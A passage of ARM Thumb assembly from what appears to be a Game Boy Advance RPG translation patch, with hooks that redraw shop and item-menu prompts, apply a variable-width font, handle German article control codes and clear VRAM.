r0,#0x4 bl $80486A0 mov r2,#0xF str r2,[sp,#0] str r6,[sp,#0x4] mov r1,#0x94 mov r2,#0x93 mov r3,r5 bl $8047CDC add sp,#0x8 pop {r3,r4} mov r7,r4 mov r8,r3 pop {r4-r6,pc} .question_mark: dw $001F //============================================================================================= // This hack fixes the string used when you try to buy an item at a shop. //============================================================================================= .buy_text: push {r4-r6,lr} mov r6,r8 mov r0,r7 push {r0,r6} add sp,#-0x8 mov r7,#0x26 // starting x position // Add the buy string to the shitpile // First get its address mov r0,#0x7C // using entry #0x7C in menus1 bl $80486A0 // gets the address of the buy string /// custom mato code! mov r8,r0 // save the address in r0 real quick ldr r5,=#0x2014330 ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need mov r1,r5 ldr r2,=#0x100 bl fill_mem mov r1,r8 // copy string to RAM and parse custom CCs mov r0,r5 bl $8048108 mov r0,r5 // this is where the string now is bl get_string_width mov r8,r0 // store string width in r8 mov r0,r5 // give the string address back to r0 // Set the variables/coords and add it to the shitpile mov r5,#0x1 neg r5,r5 mov r2,#0xF str r2,[sp,#0] mov r6,#1 str r6,[sp,#0x4] mov r1,r7 mov r2,#0x87 mov r3,r5 bl $8047CDC // Add the item string to the shitpile mov r0,r8 // pos += width of last string add r7,r7,r0 ldr r4,=#0x201A1FD ldrb r0,[r4,#0] mov r1,#0xC mov r2,#0x86 bl $8046974 ldrb r1,[r4,#0] mov r0,#0x2 bl $8001C5C push {r0} bl get_string_width mov r8,r0 pop {r0} mov r4,r0 mov r1,#0xF str r1,[sp,#0x0] str r6,[sp,#0x4] mov r1,r7 mov r2,#0x87 mov r3,#0x16 bl $8047CDC mov r0,r8 add r1,r7,r0 // Add the question mark to the shitpile ldr r0,=#.question_mark // address of a question mark mov r2,#0x87 mov r3,#1 bl $8047CDC // Add yes/no to the shitpile mov r0,#0x3 bl $80486A0 mov r1,#0xF str r1,[sp,#0] str r6,[sp,#0x4] mov r1,#0x44 mov r2,#0x93 mov r3,r5 bl $8047CDC mov r0,#0x4 bl $80486A0 mov r2,#0xF str r2,[sp,#0] str r6,[sp,#0x4] mov r1,#0x94 mov r2,#0x93 mov r3,r5 bl $8047CDC add sp,#0x8 pop {r3,r4} mov r7,r4 mov r8,r3 pop {r4-r6,pc} //============================================================================================= // This hack fixes the first frame that appears when you try to use an item. //============================================================================================= //.setup_block_use_frame1: //push {lr} //ldr r0,=#0x2003F08 //Don't print menu for the next frame //mov r1,#1 //strb r1,[r0,#0] //mov r1,r9 //ldrb r0,[r1,#0] //pop {pc} //.prevent_printing_maybe: //push {lr} //ldr r1,=#0x2003F08 //Don't print menu for the next frame //ldrb r2,[r1,#0] //cmp r2,#1 //bne + //mov r2,#0 //strb r2,[r1,#0] //mov r5,#1 //b .end_prevent_printing_maybe //+ //mov r5,#0 //.end_prevent_printing_maybe: //pop {r1} //str r4,[sp,#0] //str r5,[sp,#4] //bx r1 //.block_normal_use_frame1: //push {lr} //ldr r0,=#0x2003F08 //Do we need to print this? //ldrb r1,[r0,#0] //cmp r1,#1 //bne + //mov r1,#2 //strb r1,[r0,#0] //pop {r1} //ldr r1,=#0x8045E6D //If not, then branch away, we'll have .use_frame1 print instead //bx r1 //+ //mov r0,#0x3E //bl $80486A0 //pop {pc} //.print_normal_use_frame1: //push {lr} //ldr r0,=#0x2003F08 //Do we need to print this? //ldrb r1,[r0,#0] //cmp r1,#2 //bne + //mov r1,#1 //strb r1,[r0,#0] //push {r0-r7} //push {r5-r6} //add sp,#-0x8 //mov r0,#0x41 // Goods //bl $80486A0 //mov r7,#0x1 //neg r7,r7 //mov r6,#0xF //str r6,[sp,#0] //mov r4,#0x1 //str r4,[sp,#0x4] //mov r1,#0xBF //mov r2,#0x07 //mov r3,r7 //bl $8047CDC //add sp,#0x8 //pop {r5-r6} //pop {r0-r7} //+ //mov r0,#0x3E //bl $80486A0 //pop {pc} //.block_frame1_goods: //push {lr} //ldr r0,=#0x2003F08 //Do we need to print this? //ldrb r1,[r0,#0] //cmp r1,#1 //bne + //mov r1,#2 //strb r1,[r0,#0] //pop {r1} //ldr r1,=#0x804045F //bx r1 //+ //mov r0,#0x41 //bl $80486A0 //pop {pc} //.use_frame1: //push {lr} //mov r0,r2 //bl $8055594 // Call that sets the OAM entries for the text // Everything from here to the next comment loads the Menu/Use/Give/Drop sprites, so we skip those //push {r0-r7} //push {r5-r6} //ldr r0,=#0x2003F08 //Do we need to print this? //ldrb r7,[r0,#0] //cmp r7,#1 //bne .end_use_frame1 //add sp,#-0x8 //mov r0,#0x41 // Goods //bl $80486A0 //mov r7,#0x1 //neg r7,r7 //mov r6,#0xF //str r6,[sp,#0] //mov r4,#0x1 //str r4,[sp,#0x4] //mov r1,#0xBF //mov r2,#0x07 //mov r3,r7 //bl $8047CDC //mov r0,#0x3C // Menu //bl $80486A0 //mov r7,#0x1 //neg r7,r7 //mov r6,#0xF //str r6,[sp,#0] //mov r4,#0x0 //str r4,[sp,#0x4] //mov r1,#0x1A //mov r2,#0x30 //mov r3,r7 //bl $8047CDC //mov r0,#0x3E // Use //bl $80486A0 //str r6,[sp,#0] //str r4,[sp,#0x4] //mov r1,#0x1A //mov r2,#0x3C //mov r3,r7 //bl $8047CDC //mov r0,#0x3F // Give //bl $80486A0 //str r6,[sp,#0] //str r4,[sp,#0x4] //mov r1,#0x1A //mov r2,#0x48 //mov r3,r7 //bl $8047CDC //mov r0,#0x40 // Drop //bl $80486A0 //str r6,[sp,#0] //str r4,[sp,#0x4] //mov r1,#0x1A //mov r2,#0x54 //mov r3,r7 //bl $8047CDC //ldr r0,=#0x2003F08 //If we printed this once, then it's not needed anymore //mov r1,#0x0 //strb r1,[r0,#0] //add sp,#0x8 //.end_use_frame1: //pop {r5-r6} //pop {r0-r7} //pop {pc} //============================================================================================= // This hack fixes the string used when you try to drop an item. //============================================================================================= .drop_text: // ---------------------------------------------- // Everything from here to the next comment loads the Menu/Use/Give/Drop sprites, so we skip those push {r4-r7,lr} mov r6,r8 push {r6} add sp,#-0x8 mov r0,#0x3C // Menu bl $80486A0 mov r7,#0x1 neg r7,r7 mov r6,#0xF str r6,[sp,#0] mov r4,#0x0 str r4,[sp,#0x4] mov r1,#0x1A mov r2,#0x30 mov r3,r7 bl $8047CDC mov r0,#0x3E // Use bl $80486A0 str r6,[sp,#0] str r4,[sp,#0x4] mov r1,#0x1A mov r2,#0x3C mov r3,r7 bl $8047CDC mov r0,#0x3F // Give bl $80486A0 str r6,[sp,#0] str r4,[sp,#0x4] mov r1,#0x1A mov r2,#0x48 mov r3,r7 bl $8047CDC mov r0,#0x40 // Drop bl $80486A0 str r6,[sp,#0] str r4,[sp,#0x4] mov r1,#0x1A mov r2,#0x54 mov r3,r7 bl $8047CDC // ---------------------------------------------- // Get some value ldr r0,=#0x2015D98 ldrb r0,[r0,#0] // Only load the text if the throw submenu is open (this value << 0x1D < 0) lsl r0,r0,#0x1D cmp r0,#0x0 blt .drop_text_end // ---------------------------------------------- // Load the "-- Throw away?" text address mov r0,#0x81 bl $80486A0 /// custom mato code! mov r8,r0 // save the address in r0 real quick ldr r5,=#0x2014330 ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need mov r1,r5 ldr r2,=#0x100 bl fill_mem mov r1,r8 // copy string to RAM and parse custom CCs mov r0,r5 bl $8048108 mov r0,r5 // this is where the string now is bl get_string_width mov r8,r0 // store string width in r8 mov r0,r5 // give the string address back to r0 // ---------------------------------------------- // Add the Throw Away text to the shitpile mov r5,#1 str r6,[sp,#0] str r5,[sp,#0x4] mov r1,#0x26 mov r8,r1 // store the current X loc to r9 mov r2,#0x87 mov r3,r7 mov r4,r0 // back up the address bl $8047CDC // ---------------------------------------------- // Get the width of the Throw Away string mov r0,r4 bl get_string_width add r8,r0 // xloc += width_of_throwaway // ---------------------------------------------- // Get the item ID ldr r4,=#0x201A1FD ldrb r0,[r4,#0] // ---------------------------------------------- // Do something mysterious mov r1,#0xC mov r2,#0x86 bl $8046974 // ---------------------------------------------- // Gets the item address ldrb r1,[r4,#0] mov r0,#0x2 bl $8001C5C mov r4,r0 // r0/r4 = address, r3 = max length // ---------------------------------------------- // Add the item name to the shitpile str r6,[sp,#0] str r5,[sp,#0x4] mov r1,r8 mov r2,#0x87 mov r3,#0x16 // max length for normal items bl $8047CDC // ---------------------------------------------- // Get the width of the item name mov r0,r4 bl get_string_width add r8,r0 // xloc += width_of_itemname // ---------------------------------------------- // Add the question mark to the shitpile str r6,[sp,#0] str r5,[sp,#0x4] ldr r0,=#.question_mark mov r1,r8 mov r2,#0x87 mov r3,#1 bl $8047CDC // ---------------------------------------------- // Add Yes and No to the shitpile mov r0,#0x3 bl $80486A0 str r6,[sp,#0] str r5,[sp,#0x4] mov r1,#0x44 mov r2,#0x93 mov r3,r7 bl $8047CDC mov r0,#0x4 bl $80486A0 str r6,[sp,#0] str r5,[sp,#0x4] mov r1,#0x94 mov r2,#0x93 mov r3,r7 bl $8047CDC // ---------------------------------------------- .drop_text_end: add sp,#0x8 pop {r3} mov r8,r3 pop {r4-r7} pop {r0} bx r0 //============================================================================================= // This hack fixes the string used when you are asked to equip a bought item. //============================================================================================= .equip_text: push {r4-r6,lr} mov r6,r8 push {r6} add sp,#-0x8 // ---------------------------------------------- // Check the menu status value again ldr r0,=#0x2015D98 ldrb r0,[r0,#0] lsl r0,r0,#0x1D cmp r0,#0x0 bge + // ---------------------------------------------- // If it's negative again, use a different string mov r0,#0xB9 // [person] equipped the [item]! bl $80486A0 mov r4,r0 mov r1,#0x1C mov r2,#0x87 bl $8047F28 b .equip_text_end + // ---------------------------------------------- // Load the "-- Equip now?" text address mov r0,#0x80 bl $80486A0 /// custom mato code! mov r8,r0 // save the address in r0 real quick ldr r5,=#0x2014330 ldr r0,=#0xFFFFFFFF // clear out our area of RAM we need mov r1,r5 ldr r2,=#0x100 bl fill_mem mov r1,r8 // copy string to RAM and parse custom CCs mov r0,r5 bl $8048108 mov r0,r5 // this is where the string now is bl get_string_width mov r8,r0 // store string width in r8 mov r0,r5 // give the string address back to r0 // ---------------------------------------------- // Add it to the shitpile mov r5,#0xF str r5,[sp,#0] mov r6,#0x1 str r6,[sp,#0x4] mov r1,#0x26 mov r8,r1 mov r2,#0x87 mov r3,#1 neg r3,r3 mov r4,r0 bl $8047CDC // ---------------------------------------------- // Get the width of the equip text mov r0,r4 bl get_string_width add r8,r0 // ---------------------------------------------- // Do the mystery item function ldr r4,=#0x201A1FD ldrb r0,[r4,#0] mov r1,#0xC mov r2,#0x86 bl $8046974 // ---------------------------------------------- // Get the item address ldrb r1,[r4,#0] mov r0,#0x2 bl $8001C5C mov r4,r0 // ---------------------------------------------- // Add the item name to the shitpile str r5,[sp,#0] str r6,[sp,#0x4] mov r0,r4 mov r1,r8 mov r2,#0x87 mov r3,#0x16 bl $8047CDC // ---------------------------------------------- // Get the width of the item name mov r0,r4 bl get_string_width add r8,r0 // ---------------------------------------------- // Add " now?" to the shitpile str r5,[sp,#0] str r6,[sp,#0x4] ldr r0,=#.equip_now_text mov r1,r8 mov r2,#0x87 //mov r3,#5 mov r3,#1 bl $8047CDC // ---------------------------------------------- // Add Yes and No to the shitpile mov r4,#1 neg r4,r4 mov r0,#0x3 bl $80486A0 str r5,[sp,#0] str r6,[sp,#0x4] mov r1,#0x44 mov r2,#0x93 mov r3,r4 bl $8047CDC mov r0,#0x4 bl $80486A0 str r5,[sp,#0] str r6,[sp,#0x4] mov r1,#0x94 mov r2,#0x93 mov r3,r4 bl $8047CDC // ---------------------------------------------- .equip_text_end: add sp,#0x8 pop {r3} mov r8,r3 pop {r4-r6} pop {r0} bx r0 .equip_now_text: dw $001F //dw $0040,$004E,$004F,$0057,$001F //============================================================================================= // This hack fixes the string used when you are asked to sell a currently equipped item after // buying new equipment. //============================================================================================= //print pc .sell_old_equip_text: push {r4-r7,lr} mov r7,r9 mov r6,r8 push {r6,r7} add sp,#-0x8 // ---------------------------------------------- // Get the address of "Sell your " mov r0,#0x7F bl $80486A0 mov r4,r0 // ---------------------------------------------- // Add it to the shitpile mov r5,#0xF str r5,[sp,#0] mov r6,#0x1 str r6,[sp,#0x4] mov r1,#0x26 mov r8,r1 mov r2,#0x87 mov r3,#1 neg r3,r3 bl $8047CDC // ---------------------------------------------- // Get the width of "Sell your " mov r0,r4 bl get_string_width add r8,r0 // ---------------------------------------------- // Get the item ID, do the mystery function ldr r7,=#0x201A1FD ldrb r0,[r7,#0] mov r1,#0xC mov r2,#0x86 bl $8046974 // ---------------------------------------------- // Get the item address ldrb r1,[r7,#0] mov r0,#0x2 bl $8001C5C // ---------------------------------------------- // Add the item to the shitpile mov r4,r0 str r5,[sp,#0] str r6,[sp,#0x4] mov r1,r8 mov r2,#0x87 mov r3,#0x16 bl $8047CDC // ---------------------------------------------- // Get the item width mov r0,r4 bl get_string_width add r8,r0 // ---------------------------------------------- // Do some extra crap; don't touch ldr r2,=#0x80E5108 ldrb r1,[r7,#0] mov r0,#0x6C mul r0,r1 add r0,r0,r2 ldrh r1,[r0,#0xA] ldr r0,=#0x201A518 strh r1,[r0,#0] // ---------------------------------------------- // Get the address of "-- [DPAMT] DP" mov r0,#0x7E bl $80486A0 // ---------------------------------------------- // Add the DP text to the shitpile mov r1,r8 mov r2,#0x87 bl $8047F28 // alternate shitpiler // ---------------------------------------------- // Get the width of the parsed DP text ldr r0,=#0x203FFFC ldr r0,[r0,#0] bl get_string_width add r8,r0 // ---------------------------------------------- // Add Yes and No to the shitpile mov r0,#0x3 bl $80486A0 mov r4,#1 neg r4,r4 str r5,[sp,#0] str r6,[sp,#0x4] mov r1,#0x44 mov r2,#0x93 mov r3,r4 bl $8047CDC mov r0,#0x4 bl $80486A0 str r5,[sp,#0] str r6,[sp,#0x4] mov r1,#0x94 mov r2,#0x93 mov r3,r4 bl $8047CDC // ---------------------------------------------- add sp,#0x8 pop {r3,r4} mov r8,r3 mov r9,r4 pop {r4-r7} pop {r0} bx r0 //============================================================================================= // This hack steps into the menu text parser and stores the parsed address to 203FFFC. //============================================================================================= .parser_stepin: ldr r0,=#0x203FFF8 str r6,[r0,#0] // Original address str r5,[r0,#4] // Parsed address lsl r4,r4,#2 add r4,r9 bx lr // This sets the parsed flag for use with 8047CDC .parser_stepin2: ldr r4,=#0x203FFF7 mov r5,#1 strb r5,[r4,#0] mov r5,r0 mov r4,r1 // clobbered code bx lr // This adds the real address to the table at 203FFA0 .parser_stepin3: push {r0,r2,r3} // r0 = counter // ---------------------------------------------- // Get the target address ready; addr = 203FFA0 + (counter * 4) ldr r1,=#0x203FFA0 lsl r0,r0,#2 add r1,r1,r0 // ---------------------------------------------- // Check the parsed flag ldr r2,=#0x203FFF7 ldrb r0,[r2,#0] mov r3,#0 strb r3,[r2,#0] cmp r0,#0 bne + // Use the address in r5 str r5,[r1,#0] b .parser_stepin3_end + // Use the original address from 203FFF8 add r2,#1 ldr r0,[r2,#0] // ---------------------------------------------- // Store it to the table str r0,[r1,#0] .parser_stepin3_end: pop {r0,r2,r3} mov r1,r0 lsl r0,r1,#2 // clobbered code bx lr //============================================================================================= // This hack applies a VWF to item text and other non-sprite text in the main menus. //============================================================================================= .item_vwf: push {r2,r6,lr} ldr r6,[r6,#0] lsl r6,r6,#0x14 lsr r0,r6,#0x14 // r0 has the letter now ldr r2,=#{main_font_width} // r2 now points to the start of 16x16 font's width table ldrb r0,[r2,r0] // load r0 with the appropriate width pop {r2,r6,pc} //============================================================================================= // This hack makes Chapter End (and other stuff?) appear nicely on the file select screens //============================================================================================= .chap_end_text: push {lr} cmp r1,#0xCA bne + sub r0,r0,#2 + lsl r0,r0,#0x10 add r3,r6,r0 asr r3,r3,#0x10 pop {pc} //============================================================================================= // This hack manually clears the tile layer with non-sprite text on it, since the game // doesn't seem to want to do it itself all the time. We're basically shoving a bunch of 0s // into the tilemap. // // // Note that this is buggy so it's not being used now. Fix it later maybe? //============================================================================================= .clear_non_sprite_text: push {lr} cmp r4,#0 bne + bl .delete_vram + mov r0,r5 // clobbered code mov r1,r6 pop {pc} //============================================================================================= // This hack implements a VWF for the battle memory non-sprite text. //============================================================================================= .battle_mem_vwf: push {r5,lr} // We're going to use r5, so we need to keep it in ldr r5,[sp,#0x08] // Load r5 with our former LR value? mov r14,r5 // Move the former LR value back into LR ldr r5,=#0x804999B // This is different from the other functions. At the old code from the branch, // there is an unconditional branch after mov r0,#8 to this address. // This is where we want to return to. str r5,[sp,#0x08] // Store it over the previous one pop {r5} // Get back r5 add sp,#0x04 // Get the un-needed value off the stack ldr r0,=#{main_font_width} // load r0 with the address of our 16x16 font width table (FIX : that was 8x8) ldrb r0,[r0,r1] pop {pc} //============================================================================================= // This hack will make the game load alternate text than the game would normally expect. // This affects: // - Short enemy names in the Battle Memory screen // - Short enemy names used in gray name boxes outside // - Fixed item descriptions in battle, with descs that would normally use status icons // - Sleep mode message, which had to be done using prewelded text //============================================================================================= .load_alternate_text: push {r5,lr} // We're going to use r5, so we need to keep it in ldr r5,[sp,#0x08] // Load r5 with our former LR value? mov lr,r5 // Move the former LR value back into LR ldr r5,[sp,#0x04] // Grab the LR value for THIS function str r5,[sp,#0x08] // Store it over the previous one pop {r5} // Get back r5 add sp,#0x04 // Get the un-needed value off the stack push {r5-r6} // need to use these registers real quick cmp r2,#0x07 // if r2 == 7, then we're dealing with enemy names beq .short_enemy_name cmp r2,#0x00 // in battle, status icons don't get displayed beq .status_icon_text // so we prepare alternate text cmp r1,#0x25 // we have to do some magic to make the sleep mode message work beq .sleepmode_text b .orig_load_code // so let's just jump to the original code for non-enemy names //--------------------------------------------------------------------------------------------- .short_enemy_name: ldr r5,=#0x80476FB // load r5 with 0x80476FB, which we'll use to compare the calling address from ldr r6,[sp,#0x1C] // load in the calling address cmp r5,r6 // if equal, this is for the battle memory menu beq + //Load r5 with the scrolling printing routine for the battle memory ldr r5,=#.new_battle_memo_scroll_print_after_function+1 cmp r5,r6 beq + // if equal, this is for the battle memory menu ldr r5,=#0x8023B1F // load r5 with 0x8023B1F, which is used for the gray name boxes cmp r5,r6 bne .orig_load_code // if not equal, jump to the original code + ldr r0,=#0x8D23494 // load the base address of the abbreviated names list b .end_load_code //--------------------------------------------------------------------------------------------- .status_icon_text: ldr r5,=#0x8064B89 // see if this is being loaded from battle, if not, do normal code ldr r6,[sp,#0x18] cmp r5,r6 bne .orig_load_code cmp r4,#0x8B // if item # < 0x8B or item # > 0x92, use normal code and desc text blt .orig_load_code cmp r4,#0x92 bgt .orig_load_code ldr r0,=#0x9F8F004 // else use special item descriptions just for this instance cmp r1,#4 bne + ldr r0,=#0x9F8F204 + b .end_load_code //--------------------------------------------------------------------------------------------- .sleepmode_text: ldr r5,=#0x9AF3790 // just making extra sure we won't trigger this fix on accident cmp r0,r5 // see if r0 directs to the menus3 block bne .orig_load_code // if it doesn't, skip all this and do the original code ldr r5,=#0x9FB0300 // start of custom sleep mode text/data cmp r6,#0x1F // if this is the first sleep mode line, redirect pointer bne + // if this isn't the first sleep mode line, see if it's the 2nd mov r0,r5 add r0,#2 // r0 now has the address of the first line of custom SM text b .special_end_load + cmp r6,#0x20 // see if this is the 2nd line of sleep mode text bne .orig_load_code // if it isn't, we continue the original load routine as usual ldrh r0,[r5,#0] // load the offset to the 2nd line add r0,r5,r0 // r0 now has the address to the 2nd line b .special_end_load //--------------------------------------------------------------------------------------------- .orig_load_code: lsl r1,r1,#0x10 // when this whole routine ends, it will go back to 80028A4 lsr r1,r1,#0x0E add r1,r1,r0 ldr r1,[r1,#0x04] add r0,r0,r1 .end_load_code: pop {r5-r6,pc} // Pop the registers we used off the stack, and return //--------------------------------------------------------------------------------------------- .special_end_load: mov r5,lr // we need to do some return address magic if we're doing add r5,#8 // the sleep mode text fix mov lr,r5 pop {r5-r6,pc} //============================================================================================= // These three little hacks move item descriptions in RAM and allow for up to 256 letters, // though there wouldn't be enough room in the box for that of course :P //============================================================================================= .load_desc_address1: ldr r0,=#0x2014330 mov r2,r8 bx lr //--------------------------------------------------------------------------------------------- .load_desc_address2: mov r0,r4 ldr r1,=#0x2014330 bx lr //--------------------------------------------------------------------------------------------- .load_desc_clear_length: ldr r1,=#0x1F8 mov r2,r8 bx lr //============================================================================================= // These six hacks allow for longer messages in main menus. The max is somewhere around 200 // letters. //============================================================================================= .save_menu_msg_address: add r5,#2 ldr r0,=#0x2014310 str r5,[r0,#0] pop {r4-r7} pop {r0} bx lr //--------------------------------------------------------------------------------------------- .load_menu_msg_address: ldr r0,=#0x2014310 ldr r5,[r0,#0] bx lr //--------------------------------------------------------------------------------------------- .init_menu_msg_address: ldr r0,=#0x201A374 ldr r7,=#0x2014310 str r0,[r7,#0] mov r7,#0 mov r0,#1 bx lr //--------------------------------------------------------------------------------------------- .change_menu_msg_address1: push {r2,lr} ldr r0,=#0xFFFFFFFF ldr r1,=#0x2014330 ldr r2,=#0x100 bl fill_mem mov r0,r6 pop {r2,pc} //--------------------------------------------------------------------------------------------- .change_menu_msg_address2: mov r0,r5 ldr r1,=#0x2014330 bx lr //--------------------------------------------------------------------------------------------- .change_menu_msg_clear_amt: ldr r1,=#0x201A510 sub r1,r1,r5 mov r2,r8 bx lr //============================================================================================= // This hack processes our custom control codes. Since we don't need to bother with enemy // stuff here, only custom item control codes need to be handled here. // // The custom item control codes are [10 EF] through [17 EF]. // // [10 EF] - Prints the proper article if it's the first word of a sentence (ie "Ein/Eine") // [11 EF] - Prints the proper article if it's not the first word of a sentence (ie "ein/eine") // [12 EF] - Prints an uppercase definite article ("Der", etc.) // [13 EF] - Prints a lowercase definite article ("der", etc.) // [14 EF] - Prints genetive article depending on the item // [15 EF] - Prints genetive suffix depending on the item // [16 EF] - Prints it/them depending on the item CURRENTLY UNUSED // [17 EF] - Prints ist/sind depending on the item // // [20 EF] - Prints string fragments about the type of equipment the current item is // //============================================================================================= .execute_custom_cc: push {r0-r3,lr} ldrb r0,[r4,#1] // load the high byte of the current letter cmp r0,#0xEF // if it isn't 0xEF, do normal stuff and then leave beq + ldrh r0,[r4,#0] // load the correct letter again strh r0,[r5,#0] // store the letter add r4,#2 // increment the read address add r5,#2 // increment the write address b .ecc_end // leave this subroutine //--------------------------------------------------------------------------------------------- + ldrb r0,[r4,#0] // load the low byte of the current letter, this is our argument cmp r0,#0x20 // if this is EF20, go do that code elsewhere beq + mov r2,#0x10 sub r2,r0,r2 // r2 = argument - #0x10, this will make it easier to work with ldr r0,=#0x201A1FD // this gets the current item # ldrb r0,[r0,#0] lsl r0,r0,#3 // r0 = item num * 8 ldr r1,=#{item_extras_address} // this is the base address of our extra item data table in ROM add r0,r0,r1 // r0 now has the address of the correct item table ldrb r0,[r0,r2] // r0 now has the proper article entry # mov r1,#40 mul r0,r1 // calculate the offset into custom_text.bin ldr r1,=#{custom_text_address} // load r1 with the base address of our custom text array in ROM add r0,r0,r1 // r0 now has the address of the string we want mov r1,r5 // r1 now has the address to write to bl custom_strcopy // r0 returns with the # of bytes copied add r5,r5,r0 // update the write address add r4,#2 // increment the read address b .ecc_end //--------------------------------------------------------------------------------------------- + // all this code here prints the proper "is equipment" message ldr r0,=#0x201A1FD // this gets the current item # ldrb r0,[r0,#0] ldr r1,=#0x80E510C // start of item data blocks + item_type address mov r2,#0x6C // size of each item data block mul r0,r2 // item_num * 6C add r0,r0,r1 // stored at this address is the current item's type ldrb r0,[r0,#0] // load the item type add r0,#4 // add 4 -- starting on line 4 of custom_extras.txt are the strings we want mov r1,#40 mul r0,r1 ldr r1,=#{custom_text_address} // this is the base address of our custom text array add r0,r0,r1 // r0 now has the correct address mov r1,r5 bl custom_strcopy // r0 returns the # of bytes copied add r5,r5,r0 // update the write address add r4,#2 // increment the read address //--------------------------------------------------------------------------------------------- .ecc_end: pop {r0-r3,pc} //============================================================================================= // This hack fixes the main menu string length counting routine so that character names // don't wind up with extra long names. If the counting routine thought a name was > 8, // manually make the length = 8. //============================================================================================= .counter_fix1: push {lr} //mov r5,#8 // r5 will be the new value to change to if need be ldr r0,[sp,#8] // load r0 with the base address of the string we just counted bl check_name // check if the name is custom cmp r0,#0 beq + cmp r3,r0 // is the length > r5 (normally 8)? ble + // if not, continue as normal, else manually make it = r5 (normally 8) mov r3,r0 + mov r0,r3 // clobbered code pop {r4} mov lr,r4 pop {r4,r5} bx lr //============================================================================================= // This hack fixes the rare case of the menu message "Fav. Food - XXX has XXX of this item." // The game always assumes the fav. food's max length is 22, because that's the length of // normal items. //============================================================================================= .counter_fix2: ldr r2,=#0x2004F02 // load the address of where the fav. food string is stored cmp r4,r2 // if we're working with the fav. food address, alter the max length bne + mov r0,#9 // 9 is the max length for fav. food + lsl r0,r0,#0x10 // clobbered code lsr r2,r0,#0x10 bx lr //============================================================================================= // This hack deletes the content of VRAM that is being shown //============================================================================================= .delete_vram: push {r0-r2,lr} mov r0,#0 push {r0} mov r0,sp ldr r1,=#0x600E800 ldr r2,=#0x01000140 // (0x500 => 160 pixels, the GBA screen's height, 24th bit is 1 to fill instead of copying) swi #0x0C // clear old data out pop {r0} pop {r0-r2,pc} //============================================================================================= // This hack deletes the content of text's OAM VRAM that can be used //============================================================================================= .delete_oam_vram: push {r0-r2,lr} mov r0,#0 push {r0} mov r0,sp ldr r1,=#0x06010000 ldr r2,=#0x01000C00 // (0x3000 => The full OAM we use for text) swi #0x0C // clear old data out pop {r0} pop {r0-r2,pc} //============================================================================================= // This hack deletes the content of a subsection of text's OAM VRAM that can be used //============================================================================================= //These 2 values must reflect {new_pos_base_alternative2}!!! define delete_oam_vram_subsection_target_addr $6012000 define delete_oam_vram_subsection_zone_size ($6013000-$6012000)/$4 .delete_oam_vram_subsection: push {r0-r3,lr} mov r0,#0 push {r0} mov r0,sp ldr r1,=#{delete_oam_vram_subsection_target_addr} ldr r2,=#{delete_oam_vram_subsection_zone_size} mov r3,#1 lsl r3,r3,#0x18 orr r2,r3 // (0x1000 => The rest of the OAM) swi #0x0C // clear old data out pop {r0} pop {r0-r3,pc} //============================================================================================= // This hack deletes the content of VRAM in equip when the data shouldn't be shown. Optimized. //============================================================================================= .delete_vram_equip: push {r1-r7,lr} bl $805504C // Get if the character's data can be shown lsl r0,r0,#0x10 cmp r0,#0 // If it can be shown, jump to the end beq + push {r0} // Setup ldr r6,=#0x01000008 // (0x20 bytes of arrangements, 24th bit is 1 to fill instead of copying) ldr r7,=#0x600E9A0 mov r4,#0x40 lsl r5,r4,#2 mov r0,#0 push {r0} //Actual clearing //Weapon //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0C // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0C // clear old data out add r7,r7,r5 // Next section //Body //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0C // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0C // clear old data out add r7,r7,r5 // Next section //Head //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0C // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0C // clear old data out add r7,r7,r5 // Next section //Other //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0C // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0C // clear old data out pop {r0} // Ending pop {r0} + pop {r1-r7,pc} //============================================================================================= // This hack deletes the content of VRAM in status when the data shouldn't be shown. Optimized. //============================================================================================= .delete_vram_status: push {r1-r7,lr} bl $805504C // Get if the character's data can be shown lsl r0,r0,#0x10 cmp r0,#0 // If it can be shown, jump to the end beq + push {r0} // Setup ldr r6,=#0x0100000E // (0x1C bytes of arrangements, 24th bit is 1 to fill instead of copying) ldr r7,=#0x600EAA4 mov r4,#0x40 lsl r5,r4,#1 mov r0,#0 push {r0} //Actual clearing //Weapon //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0B // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0B // clear old data out add r7,r7,r5 // Next section //Body //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0B // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0B // clear old data out add r7,r7,r5 // Next section //Head //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0B // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0B // clear old data out add r7,r7,r5 // Next section //Other //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0B // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0B // clear old data out add r7,r7,r5 // Next section //Skill //First row mov r0,sp mov r1,r7 mov r2,r6 swi #0x0B // clear old data out //Second row mov r0,sp add r1,r7,r4 mov r2,r6 swi #0x0B // clear old data out pop {r0} // Ending pop {r0} + pop {r1-r7,pc} //============================================================================================= // This hack deletes the content of VRAM that is being shown when going from the inventory to the battle memory // It also clears OAM's text VRAM. //============================================================================================= .delete_vram_inv_to_battle_memory: push {lr} bl .delete_vram bl .delete_oam_vram bl $800399C // Clobbered code pop {pc} //============================================================================================= // This hack deletes the content of VRAM that is being shown when going from the battle memory to the inventory // It also clears OAM's text VRAM. //============================================================================================= .delete_vram_battle_memory_to_inv: push {lr} bl .delete_vram bl .delete_oam_vram bl $804BE64 // Clobbered code pop {pc} //============================================================================================= // This hack puts an alternate menu text palette for certain menus. Used for optimizing //============================================================================================= .add_extra_menu_palette: push {lr} bl $800160C //Normal expected code ldr r0,=#0x2004100 ldrb r0,[r0,#0] cmp r0,#2 // Is this the PSI menu? beq + cmp r0,#5 // Or the shop's menu? bne .add_extra_menu_palette_end + mov r0,r4 // If it is, load an extra palette as the 8th one ldr r1,=#{alternate_menu_text_palette} mov r2,#0x08 mov r3,#0x20 bl $800160C .add_extra_menu_palette_end: 